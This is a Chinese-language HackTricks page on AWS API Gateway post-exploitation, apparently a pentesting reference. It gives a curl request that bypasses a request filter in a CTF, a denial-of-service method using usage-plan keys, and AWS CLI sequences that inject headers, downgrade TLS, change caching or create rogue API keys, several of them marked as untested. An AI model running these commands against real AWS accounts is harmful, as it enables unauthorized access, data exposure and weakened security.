AWS - API Gateway Post Exploitation

支持 HackTricks

API Gateway

更多信息请查看:

AWS - API Gateway Enum

访问未公开的 APIs

你可以在 https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint 创建一个服务 com.amazonaws.us-east-1.execute-api 的端点,将端点暴露在你有访问权限的网络中(可能通过 EC2 机器),并分配一个允许所有连接的安全组。 然后,从 EC2 机器你将能够访问该端点,从而调用之前未公开的 gateway API。

绕过请求体直通

此技术在 这个 CTF writeup 中被发现。

AWS 文档PassthroughBehavior 部分所示,默认情况下,值 WHEN_NO_MATCH 在检查请求的 Content-Type 头时,将请求传递到后端而不进行转换。

因此,在 CTF 中,当请求使用 Content-Type: application/json 发送时,API Gateway 有一个集成模板 防止标志在响应中被泄露

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

然而,发送一个带有 Content-type: text/json 的请求可以绕过该过滤器。

最后,由于 API Gateway 只允许 GetOptions,可以通过在请求体中发送查询并使用 X-HTTP-Method-Override: GET 头来发送任意 dynamoDB 查询而不受限制:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Enumeration部分,你可以看到如何获取密钥的使用计划。如果你有密钥并且它每月限制使用X次,你可以直接使用它并导致DoS

API Key只需要包含在一个名为**x-api-keyHTTP header**中。

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

具有apigateway:UpdateGatewayResponseapigateway:CreateDeployment权限的攻击者可以修改现有的Gateway Response以包含泄露敏感信息或执行恶意脚本的自定义header或响应模板

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响: 泄露敏感信息、执行恶意脚本或未经授权访问API资源。

需要测试

apigateway:UpdateStage, apigateway:CreateDeployment

具有apigateway:UpdateStageapigateway:CreateDeployment权限的攻击者可以修改现有的API Gateway阶段以将流量重定向到不同的阶段或更改缓存设置以获取未经授权的缓存数据访问

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响: 未经授权访问缓存数据,干扰或拦截API流量。

需要测试

apigateway:PutMethodResponse, apigateway:CreateDeployment

具有 apigateway:PutMethodResponseapigateway:CreateDeployment 权限的攻击者可以修改现有API Gateway REST API方法的方法响应,以包含泄露敏感信息或执行恶意脚本的自定义头或响应模板

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响:敏感信息泄露、执行恶意脚本或未经授权访问API资源。

需要测试

apigateway:UpdateRestApi, apigateway:CreateDeployment

具有apigateway:UpdateRestApiapigateway:CreateDeployment权限的攻击者可以修改API Gateway REST API设置以禁用日志记录或更改最低TLS版本,可能会削弱API的安全性

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响: 削弱API的安全性,可能允许未经授权的访问或暴露敏感信息。

需要测试

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

具有 apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, 和 apigateway:CreateUsagePlanKey 权限的攻击者可以创建新的API密钥,将其与使用计划关联,然后使用这些密钥进行未经授权的API访问

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

潜在影响: 未经授权访问API资源,绕过安全控制。

需要测试

支持HackTricks

Last updated